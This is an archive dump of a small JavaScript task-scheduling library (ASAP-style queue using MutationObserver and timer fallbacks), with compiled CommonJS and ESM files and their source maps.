BrowserMutationObserver(callback); const node = document.createTextNode(''); observer.observe(node, { characterData: true }); return function requestCall() { toggle = -toggle; node.data = toggle; }; } const makeRequestCall = typeof BrowserMutationObserver === 'function' ? // reliably everywhere they are implemented. // They are implemented in all modern browsers. // // - Android 4-4.3 // - Chrome 26-34 // - Firefox 14-29 // - Internet Explorer 11 // - iPad Safari 6-7.1 // - iPhone Safari 7-7.1 // - Safari 6-7 makeRequestCallFromMutationObserver : // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera // 11-12, and in web workers in many engines. // Although message channels yield to any queued rendering and IO tasks, they // would be better than imposing the 4ms delay of timers. // However, they do not work reliably in Internet Explorer or Safari. // Internet Explorer 10 is the only browser that has setImmediate but does // not have MutationObservers. // Although setImmediate yields to the browser's renderer, it would be // preferrable to falling back to setTimeout since it does not have // the minimum 4ms penalty. // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and // Desktop to a lesser extent) that renders both setImmediate and // MessageChannel useless for the purposes of ASAP. // https://github.com/kriskowal/q/issues/396 // Timers are implemented universally. // We fall back to timers in workers in most engines, and in foreground // contexts in the following browsers. // However, note that even this simple case requires nuances to operate in a // broad spectrum of browsers. // // - Firefox 3-13 // - Internet Explorer 6-9 // - iPad Safari 4.3 // - Lynx 2.8.7 makeRequestCallFromTimer; exports.makeRequestCall = makeRequestCall; //# sourceMappingURL=makeRequestCall.js.mapcjs/TaskFactory.js000064400000001040151701456740010120 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _rawTaskJs = require("./RawTask.js"); class TaskFactory { create(task) { const tasks = this.freeTasks; const t1 = tasks.length ? tasks.pop() : new _rawTaskJs.RawTask(this.onError, (t)=>tasks[tasks.length] = t ); t1.task = task; return t1; } constructor(onError){ this.onError = onError; this.freeTasks = []; } } exports.TaskFactory = TaskFactory; //# sourceMappingURL=TaskFactory.js.mapcjs/makeRequestCall.js.map000064400000013433151701456740011535 0ustar00{"version":3,"sources":["../../src/makeRequestCall.ts"],"sourcesContent":["// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that\n// have WebKitMutationObserver but not un-prefixed MutationObserver.\n// Must use `global` or `self` instead of `window` to work in both frames and web\n// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.\n\n/* globals self */\nconst scope = typeof global !== 'undefined' ? global : self\nconst BrowserMutationObserver =\n\t(scope as any).MutationObserver || (scope as any).WebKitMutationObserver\n\nexport function makeRequestCallFromTimer(callback: () => void) {\n\treturn function requestCall() {\n\t\t// We dispatch a timeout with a specified delay of 0 for engines that\n\t\t// can reliably accommodate that request. This will usually be snapped\n\t\t// to a 4 milisecond delay, but once we're flushing, there's no delay\n\t\t// between events.\n\t\tconst timeoutHandle = setTimeout(handleTimer, 0)\n\t\t// However, since this timer gets frequently dropped in Firefox\n\t\t// workers, we enlist an interval handle that will try to fire\n\t\t// an event 20 times per second until it succeeds.\n\t\tconst intervalHandle = setInterval(handleTimer, 50)\n\n\t\tfunction handleTimer() {\n\t\t\t// Whichever timer succeeds will cancel both timers and\n\t\t\t// execute the callback.\n\t\t\tclearTimeout(timeoutHandle)\n\t\t\tclearInterval(intervalHandle)\n\t\t\tcallback()\n\t\t}\n\t}\n}\n\n// To request a high priority event, we induce a mutation observer by toggling\n// the text of a text node between \"1\" and \"-1\".\nexport function makeRequestCallFromMutationObserver(callback: () => void) {\n\tlet toggle = 1\n\tconst observer = new BrowserMutationObserver(callback)\n\tconst node = document.createTextNode('')\n\tobserver.observe(node, { characterData: true })\n\treturn function requestCall() {\n\t\ttoggle = -toggle\n\t\t;(node as any).data = toggle\n\t}\n}\n\nexport const makeRequestCall =\n\ttypeof BrowserMutationObserver === 'function'\n\t\t? // MutationObservers are desirable because they have high priority and work\n\t\t // reliably everywhere they are implemented.\n\t\t // They are implemented in all modern browsers.\n\t\t //\n\t\t // - Android 4-4.3\n\t\t // - Chrome 26-34\n\t\t // - Firefox 14-29\n\t\t // - Internet Explorer 11\n\t\t // - iPad Safari 6-7.1\n\t\t // - iPhone Safari 7-7.1\n\t\t // - Safari 6-7\n\t\t makeRequestCallFromMutationObserver\n\t\t: // MessageChannels are desirable because they give direct access to the HTML\n\t\t // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera\n\t\t // 11-12, and in web workers in many engines.\n\t\t // Although message channels yield to any queued rendering and IO tasks, they\n\t\t // would be better than imposing the 4ms delay of timers.\n\t\t // However, they do not work reliably in Internet Explorer or Safari.\n\n\t\t // Internet Explorer 10 is the only browser that has setImmediate but does\n\t\t // not have MutationObservers.\n\t\t // Although setImmediate yields to the browser's renderer, it would be\n\t\t // preferrable to falling back to setTimeout since it does not have\n\t\t // the minimum 4ms penalty.\n\t\t // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and\n\t\t // Desktop to a lesser extent) that renders both setImmediate and\n\t\t // MessageChannel useless for the purposes of ASAP.\n\t\t // https://github.com/kriskowal/q/issues/396\n\n\t\t // Timers are implemented universally.\n\t\t // We fall back to timers in workers in most engines, and in foreground\n\t\t // contexts in the following browsers.\n\t\t // However, note that even this simple case requires nuances to operate in a\n\t\t // broad spectrum of browsers.\n\t\t //\n\t\t // - Firefox 3-13\n\t\t // - Internet Explorer 6-9\n\t\t // - iPad Safari 4.3\n\t\t // - Lynx 2.8.7\n\t\t makeRequestCallFromTimer\n"],"names":["makeRequestCallFromTimer","makeRequestCallFromMutationObserver","scope","global","self","BrowserMutationObserver","MutationObserver","WebKitMutationObserver","callback","requestCall","timeoutHandle","setTimeout","handleTimer","intervalHandle","setInterval","clearTimeout","clearInterval","toggle","observer","node","document","createTextNode","observe","characterData","data","makeRequestCall"],"mappings":"AAMA;;;;QAIgBA,wBAAwB,GAAxBA,wBAAwB;QAwBxBC,mCAAmC,GAAnCA,mCAAmC;;AAlCnD,4EAA4E;AAC5E,oEAAoE;AACpE,iFAAiF;AACjF,mEAAmE;AAEnE,kBAAkB,CAClB,MAAMC,KAAK,GAAG,OAAOC,MAAM,KAAK,WAAW,GAAGA,MAAM,GAAGC,IAAI;AAC3D,MAAMC,uBAAuB,GAC5B,AAACH,KAAK,CAASI,gBAAgB,IAAI,AAACJ,KAAK,CAASK,sBAAsB;AAElE,SAASP,wBAAwB,CAACQ,QAAoB,EAAE;IAC9D,OAAO,SAASC,WAAW,GAAG;QAC7B,qEAAqE;QACrE,sEAAsE;QACtE,qEAAqE;QACrE,kBAAkB;QAClB,MAAMC,aAAa,GAAGC,UAAU,CAACC,WAAW,EAAE,CAAC,CAAC;QAChD,+DAA+D;QAC/D,8DAA8D;QAC9D,kDAAkD;QAClD,MAAMC,cAAc,GAAGC,WAAW,CAACF,WAAW,EAAE,EAAE,CAAC;QAEnD,SAASA,WAAW,GAAG;YACtB,uDAAuD;YACvD,wBAAwB;YACxBG,YAAY,CAACL,aAAa,CAAC;YAC3BM,aAAa,CAACH,cAAc,CAAC;YAC7BL,QAAQ,EAAE;SACV;KACD,CAAA;CACD;AAIM,SAASP,mCAAmC,CAACO,QAAoB,EAAE;IACzE,IAAIS,MAAM,GAAG,CAAC;IACd,MAAMC,QAAQ,GAAG,IAAIb,uBAAuB,CAACG,QAAQ,CAAC;IACtD,MAAMW,IAAI,GAAGC,QAAQ,CAACC,cAAc,CAAC,EAAE,CAAC;IACxCH,QAAQ,CAACI,OAAO,CAACH,IAAI,EAAE;QAAEI,aAAa,EAAE,IAAI;KAAE,CAAC;IAC/C,OAAO,SAASd,WAAW,GAAG;QAC7BQ,MAAM,GAAG,CAACA,MAAM,CACf;QAAA,AAACE,IAAI,CAASK,IAAI,GAAGP,MAAM;KAC5B,CAAA;CACD;AAEM,MAAMQ,eAAe,GAC3B,OAAOpB,uBAAuB,KAAK,UAAU,GAE1C,4CAA4C;AAC5C,+CAA+C;AAC/C,EAAE;AACF,kBAAkB;AAClB,iBAAiB;AACjB,kBAAkB;AAClB,yBAAyB;AACzB,sBAAsB;AACtB,wBAAwB;AACxB,eAAe;AACfJ,mCAAmC,GAEnC,+EAA+E;AAC/E,6CAA6C;AAC7C,6EAA6E;AAC7E,yDAAyD;AACzD,qEAAqE;AAErE,0EAA0E;AAC1E,8BAA8B;AAC9B,sEAAsE;AACtE,mEAAmE;AACnE,2BAA2B;AAC3B,8EAA8E;AAC9E,iEAAiE;AACjE,mDAAmD;AACnD,4CAA4C;AAE5C,sCAAsC;AACtC,uEAAuE;AACvE,sCAAsC;AACtC,4EAA4E;AAC5E,8BAA8B;AAC9B,EAAE;AACF,iBAAiB;AACjB,0BAA0B;AAC1B,oBAAoB;AACpB,eAAe;AACfD,wBAAwB;QAzCfyB,eAAe,GAAfA,eAAe"}cjs/asap.js000064400000000670151701456740006622 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.asap = asap; var _asapQueueJs = require("./AsapQueue.js"); var _taskFactoryJs = require("./TaskFactory.js"); const asapQueue = new _asapQueueJs.AsapQueue(); const taskFactory = new _taskFactoryJs.TaskFactory(asapQueue.registerPendingError); function asap(task) { asapQueue.enqueueTask(taskFactory.create(task)); } //# sourceMappingURL=asap.js.mapcjs/RawTask.js.map000064400000002105151701456740010021 0ustar00{"version":3,"sources":["../../src/RawTask.ts"],"sourcesContent":["// We wrap tasks with recyclable task objects. A task object implements\n\nimport type { TaskFn, Task } from 'types'\n\n// `call`, just like a function.\nexport class RawTask implements Task {\n\tpublic task: TaskFn | null = null\n\n\tpublic constructor(\n\t\tprivate onError: (err: any) => void,\n\t\tprivate release: (t: RawTask) => void,\n\t) {}\n\n\tpublic call() {\n\t\ttry {\n\t\t\tthis.task && this.task()\n\t\t} catch (error) {\n\t\t\tthis.onError(error)\n\t\t} finally {\n\t\t\tthis.task = null\n\t\t\tthis.release(this)\n\t\t}\n\t}\n}\n"],"names":["RawTask","call","task","error","onError","release"],"mappings":"AAEA;;;;AAGO,MAAMA,OAAO;IAQnB,AAAOC,IAAI,GAAG;QACb,IAAI;YACH,IAAI,CAACC,IAAI,IAAI,IAAI,CAACA,IAAI,EAAE;SACxB,CAAC,OAAOC,KAAK,EAAE;YACf,IAAI,CAACC,OAAO,CAACD,KAAK,CAAC;SACnB,QAAS;YACT,IAAI,CAACD,IAAI,GAAG,IAAI;YAChB,IAAI,CAACG,OAAO,CAAC,IAAI,CAAC;SAClB;KACD;IAdD,YACSD,OAA2B,EAC3BC,OAA6B,CACpC;aAFOD,OAA2B,GAA3BA,OAA2B;aAC3BC,OAA6B,GAA7BA,OAA6B;aAJ/BH,IAAI,GAAkB,IAAI;KAK7B;CAYJ;QAlBYF,OAAO,GAAPA,OAAO"}cjs/TaskFactory.js.map000064400000002145151701456740010703 0ustar00{"version":3,"sources":["../../src/TaskFactory.ts"],"sourcesContent":["import type { Task } from './types.js'\nimport { RawTask } from './RawTask.js'\n\nexport class TaskFactory {\n\tprivate freeTasks: RawTask[] = []\n\n\tpublic constructor(private onError: (err: any) => void) {}\n\n\tpublic create(task: () => void): Task {\n\t\tconst tasks = this.freeTasks\n\t\tconst t = tasks.length\n\t\t\t? (tasks.pop() as RawTask)\n\t\t\t: new RawTask(this.onError, (t) => (tasks[tasks.length] = t))\n\t\tt.task = task\n\t\treturn t\n\t}\n}\n"],"names":["TaskFactory","create","task","tasks","freeTasks","t","length","pop","RawTask","onError"],"mappings":"AAAA;;;;AACwB,IAAA,UAAc,WAAd,cAAc,CAAA;AAE/B,MAAMA,WAAW;IAKvB,AAAOC,MAAM,CAACC,IAAgB,EAAQ;QACrC,MAAMC,KAAK,GAAG,IAAI,CAACC,SAAS;QAC5B,MAAMC,EAAC,GAAGF,KAAK,CAACG,MAAM,GAClBH,KAAK,CAACI,GAAG,EAAE,GACZ,IAAIC,UAAO,QAAA,CAAC,IAAI,CAACC,OAAO,EAAE,CAACJ,CAAC,GAAMF,KAAK,CAACA,KAAK,CAACG,MAAM,CAAC,GAAGD,CAAC;QAAC,CAAC;QAC9DA,EAAC,CAACH,IAAI,GAAGA,IAAI;QACb,OAAOG,EAAC,CAAA;KACR;IATD,YAA2BI,OAA2B,CAAE;aAA7BA,OAA2B,GAA3BA,OAA2B;aAF9CL,SAAS,GAAc,EAAE;KAEyB;CAU1D;QAbYJ,WAAW,GAAXA,WAAW"}cjs/RawTask.js000064400000001002151701456740007240 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); class RawTask { call() { try { this.task && this.task(); } catch (error) { this.onError(error); } finally{ this.task = null; this.release(this); } } constructor(onError, release){ this.onError = onError; this.release = release; this.task = null; } } exports.RawTask = RawTask; //# sourceMappingURL=RawTask.js.mapcjs/index.js.map000064400000000753151701456740007563 0ustar00{"version":3,"sources":["../../src/index.ts"],"sourcesContent":["export * from './asap.js'\nexport * from './types.js'\nexport * from './AsapQueue.js'\nexport * from './TaskFactory.js'\n"],"names":[],"mappings":"AAAA;;;;;8CAAc,WAAW;AAAzB,YAAA,OAAyB;;;2CAAzB,OAAyB;;;;mBAAzB,OAAyB;;;EAAA;+CACX,YAAY;AAA1B,YAAA,QAA0B;;;2CAA1B,QAA0B;;;;mBAA1B,QAA0B;;;EAAA;mDACZ,gBAAgB;AAA9B,YAAA,YAA8B;;;2CAA9B,YAA8B;;;;mBAA9B,YAA8B;;;EAAA;qDAChB,kBAAkB;AAAhC,YAAA,cAAgC;;;2CAAhC,cAAgC;;;;mBAAhC,cAAgC;;;EAAA"}cjs/AsapQueue.js000064400000016367151701456740007601 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _makeRequestCallJs = require("./makeRequestCall.js"); class AsapQueue { // Use the fastest means possible to execute a task in its own turn, with // priority over other events including IO, animation, reflow, and redraw // events in browsers. // // An exception thrown by a task will permanently interrupt the processing of // subsequent tasks. The higher level `asap` function ensures that if an // exception is thrown by a task, that the task queue will continue flushing as // soon as possible, but if you use `rawAsap` directly, you are responsible to // either ensure that no exceptions are thrown from your task, or to manually // call `rawAsap.requestFlush` if an exception is thrown. enqueueTask(task) { const { queue: q , requestFlush } = this; if (!q.length) { requestFlush(); this.flushing = true; } // Equivalent to push, but avoids a function call. q[q.length] = task; } constructor(){ this.queue = []; // We queue errors to ensure they are thrown in right order (FIFO). // Array-as-queue is good enough here, since we are just dealing with exceptions. this.pendingErrors = []; // Once a flush has been requested, no further calls to `requestFlush` are // necessary until the next `flush` completes. // @ts-ignore this.flushing = false; // The position of the next task to execute in the task queue. This is // preserved between calls to `flush` so that it can be resumed if // a task throws an exception. this.index = 0; // If a task schedules additional tasks recursively, the task queue can grow // unbounded. To prevent memory exhaustion, the task queue will periodically // truncate already-completed tasks. this.capacity = 1024; // The flush function processes all tasks that have been scheduled with // `rawAsap` unless and until one of those tasks throws an exception. // If a task throws an exception, `flush` ensures that its state will remain // consistent and will resume where it left off when called again. // However, `flush` does not make any arrangements to be called again if an // exception is thrown. this.flush = ()=>{ const { queue: q } = this; while(this.index < q.length){ const currentIndex = this.index; // Advance the index before calling the task. This ensures that we will // begin flushing on the next task the task throws an error. this.index++; q[currentIndex].call(); // Prevent leaking memory for long chains of recursive calls to `asap`. // If we call `asap` within tasks scheduled by `asap`, the queue will // grow, but to avoid an O(n) walk for every task we execute, we don't // shift tasks off the queue after they have been executed. // Instead, we periodically shift 1024 tasks off the queue. if (this.index > this.capacity) { // Manually shift all values starting at the index back to the // beginning of the queue. for(let scan = 0, newLength = q.length - this.index; scan < newLength; scan++){ q[scan] = q[scan + this.index]; } q.length -= this.index; this.index = 0; } } q.length = 0; this.index = 0; this.flushing = false; }; // In a web browser, exceptions are not fatal. However, to avoid // slowing down the queue of pending tasks, we rethrow the error in a // lower priority turn. this.registerPendingError = (err)=>{ this.pendingErrors.push(err); this.requestErrorThrow(); }; // `requestFlush` requests that the high priority event queue be flushed as // soon as possible. // This is useful to prevent an error thrown in a task from stalling the event // queue if the exception handled by Node.js’s // `process.on("uncaughtException")` or by a domain. // `requestFlush` is implemented using a strategy based on data collected from // every available SauceLabs Selenium web driver worker at time of writing. // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593 this.requestFlush = (0, _makeRequestCallJs).makeRequestCall(this.flush); this.requestErrorThrow = (0, _makeRequestCallJs).makeRequestCallFromTimer(()=>{ // Throw first error if (this.pendingErrors.length) { throw this.pendingErrors.shift(); } }); } } // The message channel technique was discovered by Malte Ubl and was the // original foundation for this library. // http://www.nonblocking.io/2011/06/windownexttick.html // Safari 6.0.5 (at least) intermittently fails to create message ports on a // page's first load. Thankfully, this version of Safari supports // MutationObservers, so we don't need to fall back in that case. // function makeRequestCallFromMessageChannel(callback) { // var channel = new MessageChannel(); // channel.port1.onmessage = callback; // return function requestCall() { // channel.port2.postMessage(0); // }; // } // For reasons explained above, we are also unable to use `setImmediate` // under any circumstances. // Even if we were, there is another bug in Internet Explorer 10. // It is not sufficient to assign `setImmediate` to `requestFlush` because // `setImmediate` must be called *by name* and therefore must be wrapped in a // closure. // Never forget. // function makeRequestCallFromSetImmediate(callback) { // return function requestCall() { // setImmediate(callback); // }; // } // Safari 6.0 has a problem where timers will get lost while the user is // scrolling. This problem does not impact ASAP because Safari 6.0 supports // mutation observers, so that implementation is used instead. // However, if we ever elect to use timers in Safari, the prevalent work-around // is to add a scroll event listener that calls for a flush. // `setTimeout` does not call the passed callback if the delay is less than // approximately 7 in web workers in Firefox 8 through 18, and sometimes not // even then. // This is for `asap.js` only. // Its name will be periodically randomized to break any code that depends on // // its existence. // rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer // ASAP was originally a nextTick shim included in Q. This was factored out // into this ASAP package. It was later adapted to RSVP which made further // amendments. These decisions, particularly to marginalize MessageChannel and // to capture the MutationObserver implementation in a closure, were integrated // back into ASAP proper. // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js exports.AsapQueue = AsapQueue; //# sourceMappingURL=AsapQueue.js.mapesm/index.mjs.map000064400000000454151701456740007743 0ustar00{"version":3,"sources":["../../src/index.ts"],"sourcesContent":["export * from './asap.js'\nexport * from './types.js'\nexport * from './AsapQueue.js'\nexport * from './TaskFactory.js'\n"],"names":[],"mappings":"AAAA,cAAc,WAAW,CAAA;AACzB,cAAc,YAAY,CAAA;AAC1B,cAAc,gBAAgB,CAAA;AAC9B,cAAc,kBAAkB,CAAA"}esm/TaskFactory.mjs.map000064400000002107151701456740011063 0ustar00{"version":3,"sources":["../../src/TaskFactory.ts"],"sourcesContent":["import type { Task } from './types.js'\nimport { RawTask } from './RawTask.js'\n\nexport class TaskFactory {\n\tprivate freeTasks: RawTask[] = []\n\n\tpublic constructor(private onError: (err: any) => void) {}\n\n\tpublic create(task: () => void): Task {\n\t\tconst tasks = this.freeTasks\n\t\tconst t = tasks.length\n\t\t\t? (tasks.pop() as RawTask)\n\t\t\t: new RawTask(this.onError, (t) => (tasks[tasks.length] = t))\n\t\tt.task = task\n\t\treturn t\n\t}\n}\n"],"names":["RawTask","TaskFactory","create","task","tasks","freeTasks","t","length","pop","onError"],"mappings":"AACA,SAASA,OAAO,QAAQ,cAAc,CAAA;AAEtC,OAAO,MAAMC,WAAW;IAKvB,AAAOC,MAAM,CAACC,IAAgB,EAAQ;QACrC,MAAMC,KAAK,GAAG,IAAI,CAACC,SAAS;QAC5B,MAAMC,EAAC,GAAGF,KAAK,CAACG,MAAM,GAClBH,KAAK,CAACI,GAAG,EAAE,GACZ,IAAIR,OAAO,CAAC,IAAI,CAACS,OAAO,EAAE,CAACH,CAAC,GAAMF,KAAK,CAACA,KAAK,CAACG,MAAM,CAAC,GAAGD,CAAC;QAAC,CAAC;QAC9DA,EAAC,CAACH,IAAI,GAAGA,IAAI;QACb,OAAOG,EAAC,CAAA;KACR;IATD,YAA2BG,OAA2B,CAAE;aAA7BA,OAA2B,GAA3BA,OAA2B;aAF9CJ,SAAS,GAAc,EAAE;KAEyB;CAU1D"}esm/types.mjs000064400000000057151701456750007224 0ustar00export { }; //# sourceMappingURL=types.mjs.mapesm/makeRequestCall.mjs.map000064400000013355151701456750011723 0ustar00{"version":3,"sources":["../../src/makeRequestCall.ts"],"sourcesContent":["// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that\n// have WebKitMutationObserver but not un-prefixed MutationObserver.\n// Must use `global` or `self` instead of `window` to work in both frames and web\n// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.\n\n/* globals self */\nconst scope = typeof global !== 'undefined' ? global : self\nconst BrowserMutationObserver =\n\t(scope as any).MutationObserver || (scope as any).WebKitMutationObserver\n\nexport function makeRequestCallFromTimer(callback: () => void) {\n\treturn function requestCall() {\n\t\t// We dispatch a timeout with a specified delay of 0 for engines that\n\t\t// can reliably accommodate that request. This will usually be snapped\n\t\t// to a 4 milisecond delay, but once we're flushing, there's no delay\n\t\t// between events.\n\t\tconst timeoutHandle = setTimeout(handleTimer, 0)\n\t\t// However, since this timer gets frequently dropped in Firefox\n\t\t// workers, we enlist an interval handle that will try to fire\n\t\t// an event 20 times per second until it succeeds.\n\t\tconst intervalHandle = setInterval(handleTimer, 50)\n\n\t\tfunction handleTimer() {\n\t\t\t// Whichever timer succeeds will cancel both timers and\n\t\t\t// execute the callback.\n\t\t\tclearTimeout(timeoutHandle)\n\t\t\tclearInterval(intervalHandle)\n\t\t\tcallback()\n\t\t}\n\t}\n}\n\n// To request a high priority event, we induce a mutation observer by toggling\n// the text of a text node between \"1\" and \"-1\".\nexport function makeRequestCallFromMutationObserver(callback: () => void) {\n\tlet toggle = 1\n\tconst observer = new BrowserMutationObserver(callback)\n\tconst node = document.createTextNode('')\n\tobserver.observe(node, { characterData: true })\n\treturn function requestCall() {\n\t\ttoggle = -toggle\n\t\t;(node as any).data = toggle\n\t}\n}\n\nexport const makeRequestCall =\n\ttypeof BrowserMutationObserver === 'function'\n\t\t? // MutationObservers are desirable because they have high priority and work\n\t\t // reliably everywhere they are implemented.\n\t\t // They are implemented in all modern browsers.\n\t\t //\n\t\t // - Android 4-4.3\n\t\t // - Chrome 26-34\n\t\t // - Firefox 14-29\n\t\t // - Internet Explorer 11\n\t\t // - iPad Safari 6-7.1\n\t\t // - iPhone Safari 7-7.1\n\t\t // - Safari 6-7\n\t\t makeRequestCallFromMutationObserver\n\t\t: // MessageChannels are desirable because they give direct access to the HTML\n\t\t // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera\n\t\t // 11-12, and in web workers in many engines.\n\t\t // Although message channels yield to any queued rendering and IO tasks, they\n\t\t // would be better than imposing the 4ms delay of timers.\n\t\t // However, they do not work reliably in Internet Explorer or Safari.\n\n\t\t // Internet Explorer 10 is the only browser that has setImmediate but does\n\t\t // not have MutationObservers.\n\t\t // Although setImmediate yields to the browser's renderer, it would be\n\t\t // preferrable to falling back to setTimeout since it does not have\n\t\t // the minimum 4ms penalty.\n\t\t // Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and\n\t\t // Desktop to a lesser extent) that renders both setImmediate and\n\t\t // MessageChannel useless for the purposes of ASAP.\n\t\t // https://github.com/kriskowal/q/issues/396\n\n\t\t // Timers are implemented universally.\n\t\t // We fall back to timers in workers in most engines, and in foreground\n\t\t // contexts in the following browsers.\n\t\t // However, note that even this simple case requires nuances to operate in a\n\t\t // broad spectrum of browsers.\n\t\t //\n\t\t // - Firefox 3-13\n\t\t // - Internet Explorer 6-9\n\t\t // - iPad Safari 4.3\n\t\t // - Lynx 2.8.7\n\t\t makeRequestCallFromTimer\n"],"names":["scope","global","self","BrowserMutationObserver","MutationObserver","WebKitMutationObserver","makeRequestCallFromTimer","callback","requestCall","timeoutHandle","setTimeout","handleTimer","intervalHandle","setInterval","clearTimeout","clearInterval","makeRequestCallFromMutationObserver","toggle","observer","node","document","createTextNode","observe","characterData","data","makeRequestCall"],"mappings":"AAAA,4EAA4E;AAC5E,oEAAoE;AACpE,iFAAiF;AACjF,mEAAmE;AAEnE,kBAAkB,CAClB,MAAMA,KAAK,GAAG,OAAOC,MAAM,KAAK,WAAW,GAAGA,MAAM,GAAGC,IAAI;AAC3D,MAAMC,uBAAuB,GAC5B,AAACH,KAAK,CAASI,gBAAgB,IAAI,AAACJ,KAAK,CAASK,sBAAsB;AAEzE,OAAO,SAASC,wBAAwB,CAACC,QAAoB,EAAE;IAC9D,OAAO,SAASC,WAAW,GAAG;QAC7B,qEAAqE;QACrE,sEAAsE;QACtE,qEAAqE;QACrE,kBAAkB;QAClB,MAAMC,aAAa,GAAGC,UAAU,CAACC,WAAW,EAAE,CAAC,CAAC;QAChD,+DAA+D;QAC/D,8DAA8D;QAC9D,kDAAkD;QAClD,MAAMC,cAAc,GAAGC,WAAW,CAACF,WAAW,EAAE,EAAE,CAAC;QAEnD,SAASA,WAAW,GAAG;YACtB,uDAAuD;YACvD,wBAAwB;YACxBG,YAAY,CAACL,aAAa,CAAC;YAC3BM,aAAa,CAACH,cAAc,CAAC;YAC7BL,QAAQ,EAAE;SACV;KACD,CAAA;CACD;AAED,8EAA8E;AAC9E,gDAAgD;AAChD,OAAO,SAASS,mCAAmC,CAACT,QAAoB,EAAE;IACzE,IAAIU,MAAM,GAAG,CAAC;IACd,MAAMC,QAAQ,GAAG,IAAIf,uBAAuB,CAACI,QAAQ,CAAC;IACtD,MAAMY,IAAI,GAAGC,QAAQ,CAACC,cAAc,CAAC,EAAE,CAAC;IACxCH,QAAQ,CAACI,OAAO,CAACH,IAAI,EAAE;QAAEI,aAAa,EAAE,IAAI;KAAE,CAAC;IAC/C,OAAO,SAASf,WAAW,GAAG;QAC7BS,MAAM,GAAG,CAACA,MAAM,CACf;QAAA,AAACE,IAAI,CAASK,IAAI,GAAGP,MAAM;KAC5B,CAAA;CACD;AAED,OAAO,MAAMQ,eAAe,GAC3B,OAAOtB,uBAAuB,KAAK,UAAU,GAE1C,4CAA4C;AAC5C,+CAA+C;AAC/C,EAAE;AACF,kBAAkB;AAClB,iBAAiB;AACjB,kBAAkB;AAClB,yBAAyB;AACzB,sBAAsB;AACtB,wBAAwB;AACxB,eAAe;AACfa,mCAAmC,GAEnC,+EAA+E;AAC/E,6CAA6C;AAC7C,6EAA6E;AAC7E,yDAAyD;AACzD,qEAAqE;AAErE,0EAA0E;AAC1E,8BAA8B;AAC9B,sEAAsE;AACtE,mEAAmE;AACnE,2BAA2B;AAC3B,8EAA8E;AAC9E,iEAAiE;AACjE,mDAAmD;AACnD,4CAA4C;AAE5C,sCAAsC;AACtC,uEAAuE;AACvE,sCAAsC;AACtC,4EAA4E;AAC5E,8BAA8B;AAC9B,EAAE;AACF,iBAAiB;AACjB,0BAA0B;AAC1B,oBAAoB;AACpB,eAAe;AACfV,wBAAwB,CAAA"}esm/asap.mjs.map000064400000002351151701456750007557 0ustar00{"version":3,"sources":["../../src/asap.ts"],"sourcesContent":["import { AsapQueue } from './AsapQueue.js'\nimport { TaskFactory } from './TaskFactory.js'\nimport type { TaskFn } from './types.js'\n\nconst asapQueue = new AsapQueue()\nconst taskFactory = new TaskFactory(asapQueue.registerPendingError)\n\n/**\n * Calls a task as soon as possible after returning, in its own event, with priority\n * over other events like animation, reflow, and repaint. An error thrown from an\n * event will not interrupt, nor even substantially slow down the processing of\n * other events, but will be rather postponed to a lower priority event.\n * @param {{call}} task A callable object, typically a function that takes no\n * arguments.\n */\nexport function asap(task: TaskFn) {\n\tasapQueue.enqueueTask(taskFactory.create(task))\n}\n"],"names":["AsapQueue","TaskFactory","asapQueue","taskFactory","registerPendingError","asap","task","enqueueTask","create"],"mappings":"AAAA,SAASA,SAAS,QAAQ,gBAAgB,CAAA;AAC1C,SAASC,WAAW,QAAQ,kBAAkB,CAAA;AAG9C,MAAMC,SAAS,GAAG,IAAIF,SAAS,EAAE;AACjC,MAAMG,WAAW,GAAG,IAAIF,WAAW,CAACC,SAAS,CAACE,oBAAoB,CAAC;AAEnE;;;;;;;GAOG,CACH,OAAO,SAASC,IAAI,CAACC,IAAY,EAAE;IAClCJ,SAAS,CAACK,WAAW,CAACJ,WAAW,CAACK,MAAM,CAACF,IAAI,CAAC,CAAC;CAC/C"}esm/AsapQueue.mjs000064400000016170151701456750007754 0ustar00import { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.mjs'; export class AsapQueue { // Use the fastest means possible to execute a task in its own turn, with // priority over other events including IO, animation, reflow, and redraw // events in browsers. // // An exception thrown by a task will permanently interrupt the processing of // subsequent tasks. The higher level `asap` function ensures that if an // exception is thrown by a task, that the task queue will continue flushing as // soon as possible, but if you use `rawAsap` directly, you are responsible to // either ensure that no exceptions are thrown from your task, or to manually // call `rawAsap.requestFlush` if an exception is thrown. enqueueTask(task) { const { queue: q , requestFlush } = this; if (!q.length) { requestFlush(); this.flushing = true; } // Equivalent to push, but avoids a function call. q[q.length] = task; } constructor(){ this.queue = []; // We queue errors to ensure they are thrown in right order (FIFO). // Array-as-queue is good enough here, since we are just dealing with exceptions. this.pendingErrors = []; // Once a flush has been requested, no further calls to `requestFlush` are // necessary until the next `flush` completes. // @ts-ignore this.flushing = false; // The position of the next task to execute in the task queue. This is // preserved between calls to `flush` so that it can be resumed if // a task throws an exception. this.index = 0; // If a task schedules additional tasks recursively, the task queue can grow // unbounded. To prevent memory exhaustion, the task queue will periodically // truncate already-completed tasks. this.capacity = 1024; // The flush function processes all tasks that have been scheduled with // `rawAsap` unless and until one of those tasks throws an exception. // If a task throws an exception, `flush` ensures that its state will remain // consistent and will resume where it left off when called again. // However, `flush` does not make any arrangements to be called again if an // exception is thrown. this.flush = ()=>{ const { queue: q } = this; while(this.index < q.length){ const currentIndex = this.index; // Advance the index before calling the task. This ensures that we will // begin flushing on the next task the task throws an error. this.index++; q[currentIndex].call(); // 